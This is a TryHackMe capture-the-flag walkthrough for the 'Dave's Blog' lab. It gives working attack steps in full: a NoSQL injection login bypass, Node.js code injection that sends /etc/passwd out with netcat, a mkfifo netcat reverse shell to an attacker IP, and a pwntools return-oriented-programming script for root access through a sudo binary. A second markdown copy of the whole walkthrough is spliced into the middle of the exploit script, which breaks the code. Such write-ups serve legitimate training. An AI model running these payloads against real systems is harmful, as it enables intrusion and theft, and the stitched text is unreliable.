Dave's Blog - TryHackMe Walkthrough
Daves Blog - “My friend Dave made his own blog! You should go check it out. The machine may take a few minutes to fully start up.”
URL: Dave’s Blog
Difficulty: Hard
Author: Jammy
Enumeration
We are given the IP 10.10.54.82. Add this to the /etc/hosts file. Let’s scan the open ports with the following command:
sudo nmap -p- -A dave.thm -o Portscan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f9:31:1f:9f:b4:a1:10:9d:a9:69:ec:d5:97:df:1a:34 (RSA) | 256 e9:f5:b9:9e:39:33:00:d2:7f:cf:75:0f:7a:6d:1c:d3 (ECDSA) |_ 256 44:f2:51:7f:de:78:94:b2:75:2b:a8:fe:25:18:51:49 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/admin |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Dave's Blog 3000/tcp open http Node.js (Express middleware) | http-robots.txt: 1 disallowed entry |_/admin |_http-title: Dave's Blog 8989/tcp closed sunwebadmins
Let’s enumerate port 80:
There is a user called “dave”. It’s worth mentioning that he is probably using NoSQL:
"I decided to build it with a NoSQL database"
Nmap identified “robots.txt” so let’s check that out:
User-Agent: * Disallow: /admin
Let’s check out /admin page:
I checked out port 3000 but it seems it is the same web page.
Look at the source code for /admin:
if(document.location.hash) { const div = document.createElement('div') div.innerText = decodeURIComponent(document.location.hash.substr(1)); div.className = 'note'; document.body.insertBefore(div, document.body.firstChild); } document.querySelector('form').onsubmit = (e) => { /*e.preventDefault(); const username = document.querySelector('input[type=text]').value; const password = document.querySelector('input[type=password]').value; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({username, password}) }).then(() => { location.reload(); }) return false;*/ }
There is mention of ‘Content-Type’: ‘application/json’ so we can prepare a noSQL payload. I found this Github repo:
Authentication Bypass:
in JSON {"username": {"$ne": null}, "password": {"$ne": null}}
I copied the “fetch” block of the commented code we found in the source code and replaced the “username,password” to the payload. This is what my payload looks like:
fetch('', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify( {"username":"dave", "password":{"$ne": ""}} ) }).then(() => { location.reload(); })
We are redirected to this page:
We can grab the jwt cookie and decode it, I used the following website:
This is what we find:
{ "isAdmin": true, "_id": "*****", "username": "dave", "password": "THM{*****}", "__v": 0, "iat": 1597593057 }
We are presented with an input field. Entering Unix commands gives us no response.
I enter “1+1” and it gives us “2” so I made the assumption this is node.js.
From the following article, I found a way to execute my commands:
I set up a netcat listener:
nc -nvlp 4444
Execute the following command:
require('child_process').exec('cat /etc/passwd | nc [YOUR IP] 4444')
We got this:
We can confirm this works, so let’s create a reverse shell. I tried a few different one liners but I found this one worked:
require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.6.63 4444 >/tmp/f ')
Upgrade the shell with the following command:
python -c 'import pty; pty.spawn("/bin/bash")'
The third flag can be found by searching the mongo database (with the command “mongo”). It’s pretty obvious where to find it.
Running sudo -l gives us the following:
[email protected]:/home$ sudo -l sudo -l Matching Defaults entries for dave on daves-blog: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dave may run the following commands on daves-blog: (root) NOPASSWD: /uid_checker
This is an ELF file. Running strings gave us the fourth flag.
Let’s transfer this to our local machine. I used netcat.
nc -nvlp 8888 > elf
On the remote host:
cat uid_checker | nc 10.9.6.63 8888
We have our binary / ELF. I run checksec on this file to find out about the properties of this executable:
checksec elf
We can use a technique called Return Oriented Programming (ROP). This essentially uses existing code in the executable to perform certain key functions for us.
In order to achieve this, we need to find a “Gadget”. This is a chain which ends with ret instruction c3.
This is a good video explaining how this technique works:
ROP exploit explained - Rapid7
I will be using ropstar to help exploit.
python3 ~/tools/ropstar/ropstar.py elf
We got some important information:
[*] Loaded 14 cached gadgets for 'elf' [*] 0x0000: 0x400803 pop rdi; ret 0x0008: 0x601060 [arg0] rdi = 6295648 0x0010: 0x4005b0 0x0018: 0x400803 pop rdi; ret 0x0020: 0x601060 [arg0] rdi = 6295648 0x0028: 0x400570
Now that we have this information, we can use a script using the values we found to exploit this:
from pwn import cyclic from pwnlib.tubes.ssh import ssh from pwnlib.util.packing import p64 offset = 88 # Found with ropstar payload = cyclic(offset) payload += p64(0x400803) # pop r15; ret payload += p64(0x601060) # .bss payload += p64(0x4005b0) # gets() payload += p64(0x400803) # pop r15; ret payload += p64(0x601060) # .bss payload += p64(0x400570) # system() s = ssh(host='dave.thm', user='dave', keyfile='f3dai') Daves Blog - "My friend Dave made his own blog! You should go check it out. The machine may take a few minutes to fully start up." **URL:** [Dave's Blog](https://tryhackme.com/room/davesblog) **Difficulty:** Hard **Author:** Jammy ## Enumeration We are given the IP 10.10.54.82. Add this to the /etc/hosts file. Let's scan the open ports with the following command:sudo nmap -p- -A dave.thm -o PortscanPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f9:31:1f:9f:b4:a1:10:9d:a9:69:ec:d5:97:df:1a:34 (RSA) | 256 e9:f5:b9:9e:39:33:00:d2:7f:cf:75:0f:7a:6d:1c:d3 (ECDSA) |_ 256 44:f2:51:7f:de:78:94:b2:75:2b:a8:fe:25:18:51:49 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/admin |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Dave's Blog 3000/tcp open http Node.js (Express middleware) | http-robots.txt: 1 disallowed entry |_/admin |_http-title: Dave's Blog 8989/tcp closed sunwebadminsLet's enumerate port 80:  There is a user called "dave". It's worth mentioning that he is probably using NoSQL:"I decided to build it with a NoSQL database"Nmap identified "robots.txt" so let's check that out:User-Agent: * Disallow: /adminLet's check out /admin page:  I checked out port 3000 but it seems it is the same web page. Look at the source code for /admin:if(document.location.hash) { const div = document.createElement('div') div.innerText = decodeURIComponent(document.location.hash.substr(1)); div.className = 'note'; document.body.insertBefore(div, document.body.firstChild); } document.querySelector('form').onsubmit = (e) => { /*e.preventDefault(); const username = document.querySelector('input[type=text]').value; const password = document.querySelector('input[type=password]').value; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({username, password}) }).then(() => { location.reload(); }) return false;*/ }There is mention of 'Content-Type': 'application/json' so we can prepare a noSQL payload. I found this Github repo: [NoSQL Injection - Github](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) Authentication Bypass:in JSON {"username": {"$ne": null}, "password": {"$ne": null}}I copied the "fetch" block of the commented code we found in the source code and replaced the "username,password" to the payload. This is what my payload looks like:fetch('', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify( {"username":"dave", "password":{"$ne": ""}} ) }).then(() => { location.reload(); }) We are redirected to this page:  We can grab the jwt cookie and decode it, I used the following website: [JWT Decode - jwt.io](https://jwt.io/) This is what we find:{ "isAdmin": true, "_id": "*****", "username": "dave", "password": "THM{*****}", "__v": 0, "iat": 1597593057 }We are presented with an input field. Entering Unix commands gives us no response. I enter "1+1" and it gives us "2" so I made the assumption this is node.js. From the following article, I found a way to execute my commands: [Nodejs RCE Exploit - appsecco](https://blog.appsecco.com/nodejs-and-a-simple-rce-exploit-d79001837cc6) I set up a netcat listener:nc -nvlp 4444Execute the following command:require('child_process').exec('cat /etc/passwd | nc [YOUR IP] 4444')We got this:  We can confirm this works, so let's create a reverse shell. I tried a few different one liners but I found this one worked:require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.6.63 4444 >/tmp/f ') Upgrade the shell with the following command:python -c 'import pty; pty.spawn("/bin/bash")'The third flag can be found by searching the mongo database (with the command "mongo"). It's pretty obvious where to find it. Running sudo -l gives us the following:[email protected]:/home$ sudo -l sudo -l Matching Defaults entries for dave on daves-blog: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dave may run the following commands on daves-blog: (root) NOPASSWD: /uid_checkerThis is an ELF file. Running strings gave us the fourth flag. Let's transfer this to our local machine. I used netcat.nc -nvlp 8888 > elfOn the remote host:cat uid_checker | nc 10.9.6.63 8888We have our binary / ELF. I run checksec on this file to find out about the properties of this executable:checksec elf We can use a technique called **Return Oriented Programming (ROP)**. This essentially uses existing code in the executable to perform certain key functions for us. In order to achieve this, we need to find a "Gadget". This is a chain which ends with **ret instruction c3**. This is a good video explaining how this technique works: [ROP exploit explained - Rapid7](https://www.rapid7.com/resources/rop-exploit-explained/) I will be using **ropstar** to help exploit. [Ropstar - Github](https://github.com/xct/ropstar)python3 ~/tools/ropstar/ropstar.py elfWe got some important information:[*] Loaded 14 cached gadgets for 'elf' [*] 0x0000: 0x400803 pop rdi; ret 0x0008: 0x601060 [arg0] rdi = 6295648 0x0010: 0x4005b0 0x0018: 0x400803 pop rdi; ret 0x0020: 0x601060 [arg0] rdi = 6295648 0x0028: 0x400570Now that we have this information, we can use a script using the values we found to exploit this:from pwn import cyclic from pwnlib.tubes.ssh import ssh from pwnlib.util.packing import p64 offset = 88 # Found with ropstar payload = cyclic(offset) payload += p64(0x400803) # pop r15; ret payload += p64(0x601060) # .bss payload += p64(0x4005b0) # gets() payload += p64(0x400803) # pop r15; ret payload += p64(0x601060) # .bss payload += p64(0x400570) # system() s = ssh(host='dave.thm', user='dave', keyfile='f3dai') p = s.process(['sudo', '/uid_checker']) print(p.recv()) p.sendline(payload) print(p.recv()) p.sendline("/bin/sh") p.interactive(prompt='')Notice how we will be using SSH withs = ssh(host='dave.thm', user='dave', keyfile='./f3dai')You must create a directory under Dave's home directory and add your ssh key to authorized_keys. Please note, I had to use ssh-keygen to convert my key to the classic OpenSSH format to allow pwntools to connect via SSH:ssh-keygen -p -f f3dai -m pem -P "" -N ""Executing our script gives us a root shell:  Thank you for reading! p = s.process(['sudo', '/uid_checker']) print(p.recv()) p.sendline(payload) print(p.recv()) p.sendline("/bin/sh") p.interactive(prompt='')
Notice how we will be using SSH with
s = ssh(host='dave.thm', user='dave', keyfile='./f3dai')
You must create a directory under Dave’s home directory and add your ssh key to authorized_keys.
Please note, I had to use ssh-keygen to convert my key to the classic OpenSSH format to allow pwntools to connect via SSH:
ssh-keygen -p -f f3dai -m pem -P "" -N ""
Executing our script gives us a root shell:
Thank you for reading!